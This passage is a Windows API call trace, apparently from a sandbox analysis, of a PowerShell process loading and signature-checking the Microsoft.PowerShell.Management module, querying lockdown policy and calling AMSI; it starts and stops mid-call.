(in: hFile=0x7b0, lpBuffer=0x1ef003f42e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4e1e8, lpOverlapped=0x0 | out: lpBuffer=0x1ef003f42e0*, lpNumberOfBytesRead=0x5bfed4e1e8*=0x0, lpOverlapped=0x0) returned 1 [0200.724] CloseHandle (hObject=0x7b0) returned 1 [0200.748] CoCreateGuid (in: pguid=0x5bfed4e408 | out: pguid=0x5bfed4e408*(Data1=0x28f7953d, Data2=0x8778, Data3=0x4098, Data4=([0]=0xad, [1]=0xb4, [2]=0x24, [3]=0x4d, [4]=0xc1, [5]=0xa5, [6]=0x10, [7]=0x87))) returned 0x0 [0200.748] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7b0 [0200.749] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x770 [0200.749] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x780 [0200.749] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x774 [0200.749] SetEvent (hEvent=0x774) returned 1 [0200.749] SetEvent (hEvent=0x7b0) returned 1 [0200.749] SetEvent (hEvent=0x770) returned 1 [0200.749] SetEvent (hEvent=0x780) returned 1 [0200.749] AmsiCloseSession () returned 0x7ff9dc0cb0a8 [0200.749] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x764 [0200.750] SetThreadUILanguage (LangId=0x0) returned 0x409 [0200.752] EtwEventActivityIdControl () returned 0x0 [0200.753] EtwEventActivityIdControl () returned 0x0 [0200.753] EtwEventActivityIdControl () returned 0x0 [0200.768] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0200.768] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.768] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4dbc0) returned 1 [0200.768] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4dca0 | out: lpFileInformation=0x5bfed4dca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0200.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4db80) returned 1 [0200.769] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0200.769] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.769] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.769] CoTaskMemAlloc (cb=0x20c) returned 0x1ef7049c190 [0200.769] GetSystemDirectoryW (in: lpBuffer=0x1ef7049c190, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0200.769] CoTaskMemFree (pv=0x1ef7049c190) [0200.769] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0200.769] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0200.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d7a0) returned 1 [0200.769] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d880 | out: lpFileInformation=0x5bfed4d880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0200.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d760) returned 1 [0200.770] GetSystemInfo (in: lpSystemInfo=0x5bfed4d8f0 | out: lpSystemInfo=0x5bfed4d8f0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0200.770] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d7f8 | out: phkResult=0x5bfed4d7f8*=0x77c) returned 0x0 [0200.770] RegQueryValueExW (in: hKey=0x77c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfed4d848, lpData=0x0, lpcbData=0x5bfed4d840*=0x0 | out: lpType=0x5bfed4d848*=0x0, lpData=0x0, lpcbData=0x5bfed4d840*=0x0) returned 0x2 [0200.770] RegCloseKey (hKey=0x77c) returned 0x0 [0200.770] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.770] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d750) returned 1 [0200.771] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x77c [0200.771] GetFileType (hFile=0x77c) returned 0x1 [0200.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d6c0) returned 1 [0200.771] GetFileType (hFile=0x77c) returned 0x1 [0200.771] SetFilePointer (in: hFile=0x77c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4d718*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4d718*=0) returned 0x0 [0200.771] ReadFile (in: hFile=0x77c, lpBuffer=0x1ef0041d628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d798, lpOverlapped=0x0 | out: lpBuffer=0x1ef0041d628*, lpNumberOfBytesRead=0x5bfed4d798*=0x9ea, lpOverlapped=0x0) returned 1 [0200.771] SetFilePointer (in: hFile=0x77c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4d718*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4d718*=0) returned 0x9ea [0200.771] ReadFile (in: hFile=0x77c, lpBuffer=0x1ef0041cb7a, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x5bfed4d798, lpOverlapped=0x0 | out: lpBuffer=0x1ef0041cb7a*, lpNumberOfBytesRead=0x5bfed4d798*=0x0, lpOverlapped=0x0) returned 1 [0200.772] SetFilePointer (in: hFile=0x77c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4d718*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4d718*=0) returned 0x9ea [0200.772] ReadFile (in: hFile=0x77c, lpBuffer=0x1ef0041d628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d798, lpOverlapped=0x0 | out: lpBuffer=0x1ef0041d628*, lpNumberOfBytesRead=0x5bfed4d798*=0x0, lpOverlapped=0x0) returned 1 [0200.772] CoTaskMemAlloc (cb=0x20c) returned 0x1ef7049f270 [0200.772] GetSystemDirectoryW (in: lpBuffer=0x1ef7049f270, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0200.772] CoTaskMemFree (pv=0x1ef7049f270) [0200.772] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0200.772] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0200.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d6a0) returned 1 [0200.772] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d780 | out: lpFileInformation=0x5bfed4d780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0200.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d660) returned 1 [0200.773] GetSystemInfo (in: lpSystemInfo=0x5bfed4d7f0 | out: lpSystemInfo=0x5bfed4d7f0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0200.773] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d6f8 | out: phkResult=0x5bfed4d6f8*=0x8b4) returned 0x0 [0200.773] RegQueryValueExW (in: hKey=0x8b4, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfed4d748, lpData=0x0, lpcbData=0x5bfed4d740*=0x0 | out: lpType=0x5bfed4d748*=0x0, lpData=0x0, lpcbData=0x5bfed4d740*=0x0) returned 0x2 [0200.773] RegCloseKey (hKey=0x8b4) returned 0x0 [0200.773] CloseHandle (hObject=0x77c) returned 1 [0200.774] CoCreateGuid (in: pguid=0x5bfed4d8c8 | out: pguid=0x5bfed4d8c8*(Data1=0xfb4f3562, Data2=0x72de, Data3=0x49af, Data4=([0]=0x89, [1]=0xeb, [2]=0x3c, [3]=0x7f, [4]=0xc5, [5]=0x5, [6]=0xe3, [7]=0x96))) returned 0x0 [0200.774] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4d338 | out: lpPerformanceCount=0x5bfed4d338*=29676242047) returned 1 [0200.774] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.775] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d1b0) returned 1 [0200.775] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d290 | out: lpFileInformation=0x5bfed4d290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0200.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d170) returned 1 [0200.775] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.775] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.775] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.775] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d090) returned 1 [0200.775] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d170 | out: lpFileInformation=0x5bfed4d170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0200.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d050) returned 1 [0200.776] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.776] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d020) returned 1 [0200.776] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x77c [0200.776] GetFileType (hFile=0x77c) returned 0x1 [0200.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4cf90) returned 1 [0200.776] GetFileType (hFile=0x77c) returned 0x1 [0200.776] WTGetSignatureInfo () returned 0x0 [0200.826] CertDuplicateCertificateContext (pCertContext=0x1ef7031dff0) returned 0x1ef7031dff0 [0200.827] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d0b8 | out: phkResult=0x5bfed4d0b8*=0x8b8) returned 0x0 [0200.827] RegQueryValueExW (in: hKey=0x8b8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4d108, lpData=0x0, lpcbData=0x5bfed4d100*=0x0 | out: lpType=0x5bfed4d108*=0x1, lpData=0x0, lpcbData=0x5bfed4d100*=0x56) returned 0x0 [0200.827] RegQueryValueExW (in: hKey=0x8b8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4d108, lpData=0x1ef00430ee0, lpcbData=0x5bfed4d100*=0x56 | out: lpType=0x5bfed4d108*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4d100*=0x56) returned 0x0 [0200.827] RegCloseKey (hKey=0x8b8) returned 0x0 [0200.827] CoTaskMemAlloc (cb=0x10) returned 0x1ef702f40b0 [0200.827] CoTaskMemAlloc (cb=0x50) returned 0x1ef704aa460 [0200.827] WinVerifyTrust () returned 0x0 [0200.830] CoTaskMemFree (pv=0x1ef704aa460) [0200.830] CoTaskMemFree (pv=0x1ef702f40b0) [0200.830] CertFreeCertificateContext (pCertContext=0x1ef7031dff0) returned 1 [0200.830] CloseHandle (hObject=0x77c) returned 1 [0200.830] AmsiOpenSession () returned 0x0 [0200.830] AmsiScanString () returned 0x80070015 [0200.870] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0200.871] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0200.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0200.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0200.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0200.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0200.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d0c0) returned 1 [0200.888] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d1a0 | out: lpFileInformation=0x5bfed4d1a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0200.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d080) returned 1 [0200.889] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0200.889] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0200.889] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bfed4ccb0, nSize=0xbc | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0200.891] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0200.905] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0200.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0200.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0200.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4ccf0) returned 1 [0200.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4cdd0 | out: lpFileInformation=0x5bfed4cdd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0200.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4ccb0) returned 1 [0200.908] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0200.911] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0200.912] GetFullPathNameW (in: 